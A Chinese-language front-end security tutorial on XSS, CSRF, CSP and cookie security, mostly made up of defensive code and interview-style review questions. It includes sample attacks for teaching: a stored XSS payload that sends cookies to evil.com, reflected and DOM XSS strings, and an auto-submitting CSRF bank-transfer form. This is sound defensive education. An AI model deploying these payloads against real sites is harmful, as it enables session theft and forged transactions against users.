文章目录
- 前言
- 一、XSS(跨站脚本攻击)
-
- [1.1 定义](#1.1 定义)
- [1.2 三种类型](#1.2 三种类型)
-
- [存储型 XSS](#存储型 XSS)
- [反射型 XSS](#反射型 XSS)
- [DOM 型 XSS](#DOM 型 XSS)
- [二、XSS 防御](#二、XSS 防御)
-
- [2.1 输出编码](#2.1 输出编码)
- [2.2 避免危险 API](#2.2 避免危险 API)
- [2.3 使用 DOMPurify](#2.3 使用 DOMPurify)
- 三、CSRF(跨站请求伪造)
-
- [3.1 定义](#3.1 定义)
- [3.2 攻击原理](#3.2 攻击原理)
- [四、CSRF 防御](#四、CSRF 防御)
-
- [4.1 SameSite Cookie](#4.1 SameSite Cookie)
- [4.2 CSRF Token](#4.2 CSRF Token)
- [4.3 验证 Origin / Referer](#4.3 验证 Origin / Referer)
- 五、CSP(内容安全策略)
-
- [5.1 定义](#5.1 定义)
- [5.2 配置示例](#5.2 配置示例)
- [5.3 常用指令](#5.3 常用指令)
- [六、Cookie 安全属性](#六、Cookie 安全属性)
-
- [6.1 各属性作用](#6.1 各属性作用)
- [七、XSS 能否绕过 CSRF 防御](#七、XSS 能否绕过 CSRF 防御)
- 八、面试聚焦
-
- [8.1 富文本安全处理](#8.1 富文本安全处理)
- [8.2 innerHTML 的风险](#8.2 innerHTML 的风险)
- 九、易混淆点
- 十、思考与练习
- 总结
前言
前端安全是开发中必须重视的问题,XSS 和 CSRF 是最常见的两种攻击方式。本篇会讲清楚:
- XSS 的三种类型及防御
- CSRF 的原理及防御
- CSP(内容安全策略)
- Cookie 安全属性
一、XSS(跨站脚本攻击)
1.1 定义
XSS 是指攻击者将恶意脚本注入到网页中,当用户访问时执行恶意代码。
1.2 三种类型
存储型 XSS
恶意脚本存储在服务器(数据库),用户访问时自动执行。
javascript
// 攻击场景:评论区
// 攻击者提交恶意评论
const comment = '<script>document.location="https://evil.com/steal?cookie="+document.cookie</script>'
// 服务器存储后,其他用户访问时脚本执行
// 危害:窃取 Cookie、会话劫持
反射型 XSS
恶意脚本在 URL 中,服务器反射回响应时执行。
javascript
// 攻击场景:搜索功能
// URL: https://example.com/search?q=<script>alert('XSS')</script>
// 服务器将 query 直接拼接到 HTML
const html = `<div>搜索结果: ${query}</div>`
// 浏览器执行脚本
DOM 型 XSS
恶意脚本通过前端 JavaScript 直接操作 DOM 执行。
javascript
// 攻击场景:从 URL 获取参数并插入 DOM
const hash = location.hash.substring(1)
document.getElementById('output').innerHTML = hash
// URL: https://example.com#<img src=x onerror="alert('XSS')">
二、XSS 防御
2.1 输出编码
javascript
// 1. HTML 编码
function encodeHTML(str) {
return str
.replace(/&/g, '&')
.replace(/</g, '<')
.replace(/>/g, '>')
.replace(/"/g, '"')
.replace(/'/g, ''')
}
// 使用
const userInput = '<script>alert("XSS")</script>'
document.getElementById('output').textContent = userInput // 安全
// 或
document.getElementById('output').innerHTML = encodeHTML(userInput) // 安全
2.2 避免危险 API
javascript
// ❌ 危险:直接使用 innerHTML
element.innerHTML = userInput
// ✅ 安全:使用 textContent
element.textContent = userInput
// ❌ 危险:动态执行代码
eval(userInput)
new Function(userInput)()
// ❌ 危险:拼接 HTML
const html = `<div>${userInput}</div>`
2.3 使用 DOMPurify
javascript
// 富文本内容过滤
import DOMPurify from 'dompurify'
const dirty = '<img src=x onerror="alert(1)"><p>Hello</p>'
const clean = DOMPurify.sanitize(dirty)
// <p>Hello</p>(危险标签被移除)
// 配置允许的标签和属性
const clean = DOMPurify.sanitize(dirty, {
ALLOWED_TAGS: ['p', 'b', 'i', 'em', 'strong'],
ALLOWED_ATTR: ['href', 'title']
})
三、CSRF(跨站请求伪造)
3.1 定义
CSRF 是指攻击者诱导用户在已登录的网站上执行非本意的操作。
3.2 攻击原理
html
<!-- 用户已登录 bank.com -->
<!-- 攻击者在 evil.com 放置 -->
<!-- 自动发起转账请求 -->
<img src="https://bank.com/transfer?to=attacker&amount=1000">
<!-- 或使用表单自动提交 -->
<form action="https://bank.com/transfer" method="POST">
<input type="hidden" name="to" value="attacker">
<input type="hidden" name="amount" value="1000">
</form>
<script>document.forms[0].submit()</script>
<!-- 浏览器自动携带 bank.com 的 Cookie,请求成功 -->
四、CSRF 防御
4.1 SameSite Cookie
javascript
// Set-Cookie: session=abc123; SameSite=Strict; Secure; HttpOnly
// SameSite 属性值:
// Strict:完全禁止第三方 Cookie
// Lax:允许导航和 GET 请求携带(默认值)
// None:允许跨站携带(必须设置 Secure)
4.2 CSRF Token
javascript
// 1. 服务器生成 Token
const csrfToken = generateRandomToken()
res.cookie('csrfToken', csrfToken)
// 2. 前端在请求中携带 Token
// 方式一:表单隐藏字段
<form>
<input type="hidden" name="_csrf" value="${csrfToken}">
</form>
// 方式二:请求头
fetch('/api/transfer', {
method: 'POST',
headers: {
'X-CSRF-Token': csrfToken
},
body: JSON.stringify(data)
})
// 3. 服务器验证 Token
app.post('/api/transfer', (req, res) => {
if (req.headers['x-csrf-token'] !== req.cookies.csrfToken) {
return res.status(403).json({ error: 'Invalid CSRF token' })
}
// 处理请求
})
4.3 验证 Origin / Referer
javascript
// 服务器检查请求来源
app.post('/api/transfer', (req, res) => {
const origin = req.headers.origin || req.headers.referer
if (!origin || !origin.startsWith('https://bank.com')) {
return res.status(403).json({ error: 'Invalid origin' })
}
// 处理请求
})
五、CSP(内容安全策略)
5.1 定义
CSP 是通过 HTTP 响应头或 meta 标签定义页面可以加载哪些资源的策略。
5.2 配置示例
javascript
// HTTP 响应头
Content-Security-Policy:
default-src 'self';
script-src 'self' https://cdn.example.com;
style-src 'self' 'unsafe-inline';
img-src 'self' data: https:;
connect-src 'self' https://api.example.com;
// meta 标签
<meta http-equiv="Content-Security-Policy"
content="default-src 'self'; script-src 'self'">
5.3 常用指令
javascript
// script-src:限制脚本来源
// 'self':同源
// 'nonce-xxx':随机数匹配
// 'sha256-xxx':脚本哈希匹配
// style-src:限制样式来源
// 'unsafe-inline':允许内联样式(不推荐)
// connect-src:限制 AJAX / WebSocket 连接
// 'self':同源 API
// report-uri:违规上报地址
Content-Security-Policy: ...; report-uri /api/csp-report
六、Cookie 安全属性
javascript
// 完整的 Cookie 安全配置
Set-Cookie: session=abc123;
Domain=example.com;
Path=/;
Secure; // 只在 HTTPS 下发送
HttpOnly; // 禁止 JavaScript 访问
SameSite=Strict; // 禁止第三方携带
Max-Age=3600; // 过期时间
6.1 各属性作用
| 属性 | 作用 |
|---|---|
| Secure | 只在 HTTPS 下发送 |
| HttpOnly | 禁止 JavaScript 访问(防 XSS 窃取) |
| SameSite | 限制第三方携带(防 CSRF) |
| Domain | 指定 Cookie 适用域名 |
| Path | 指定 Cookie 适用路径 |
七、XSS 能否绕过 CSRF 防御
javascript
// 场景:Cookie 设置了 SameSite=Strict
// 但攻击者通过 XSS 在目标站点执行脚本
// XSS 可以:
// 1. 在同源下发起请求(不受 SameSite 限制)
// 2. 读取页面中的 CSRF Token
// 3. 直接操作 DOM 提交表单
// 结论:XSS 可以绕过部分 CSRF 防御
// 因此:防御 XSS 是根本
八、面试聚焦
8.1 富文本安全处理
javascript
// 问题:富文本允许用户输入 HTML,如何安全渲染?
// 方案:使用 DOMPurify 过滤
import DOMPurify from 'dompurify'
function renderRichText(dirty) {
const clean = DOMPurify.sanitize(dirty, {
ALLOWED_TAGS: ['p', 'b', 'i', 'em', 'strong', 'a', 'img'],
ALLOWED_ATTR: ['href', 'src', 'alt', 'title']
})
return clean
}
// 危险属性需要过滤:
// onerror, onclick, onmouseover 等事件属性
// javascript: 协议的 href
8.2 innerHTML 的风险
javascript
// ❌ 危险:直接拼接用户输入
element.innerHTML = `<div>${userInput}</div>`
// ✅ 安全:使用 textContent
element.textContent = userInput
// ✅ 安全:使用模板引擎自动转义
// Vue: {{ userInput }} 自动转义
// React: {userInput} 自动转义
九、易混淆点
- XSS vs CSRF:XSS 是注入恶意脚本执行;CSRF 是伪造用户请求。XSS 可以绕过 CSRF 防御。
- 三种 XSS:存储型(服务器存储)、反射型(URL 反射)、DOM 型(前端 DOM 操作)。
- SameSite 属性:Strict 完全禁止,Lax 允许 GET 导航,None 必须配合 Secure。
- HttpOnly:防止 JavaScript 读取 Cookie,但不能防止 XSS 注入。
十、思考与练习
1. XSS 的三种类型及区别是什么?
解析:
- 存储型:恶意脚本存储在服务器,所有用户访问都会触发
- 反射型:恶意脚本在 URL 中,服务器反射回响应执行
- DOM 型:恶意脚本通过前端 JavaScript 操作 DOM 执行
2. 如何防御 XSS?
解析:
- 输出编码(HTML 编码、URL 编码)
- 避免危险 API(innerHTML、eval)
- 使用 DOMPurify 过滤富文本
- 设置 CSP 限制脚本来源
3. CSRF 的防御方案有哪些?
解析:
- SameSite Cookie 限制第三方携带
- CSRF Token 验证请求合法性
- 验证 Origin / Referer 来源
4. 为什么 XSS 可以绕过 CSRF 防御?
解析:XSS 在目标站点同源下执行脚本,不受 SameSite 限制,可以直接读取 CSRF Token 并发起请求。
5. Cookie 的安全属性有哪些?
解析:
- Secure:只在 HTTPS 下发送
- HttpOnly:禁止 JavaScript 访问
- SameSite:限制第三方携带
- Domain / Path:指定适用范围
总结
- XSS:注入恶意脚本,分存储型、反射型、DOM 型
- XSS 防御:输出编码、避免危险 API、DOMPurify、CSP
- CSRF:伪造用户请求,利用 Cookie 自动携带机制
- CSRF 防御:SameSite Cookie、CSRF Token、验证 Origin
- CSP:通过 HTTP 头限制页面可加载的资源
- Cookie 安全:Secure + HttpOnly + SameSite 组合使用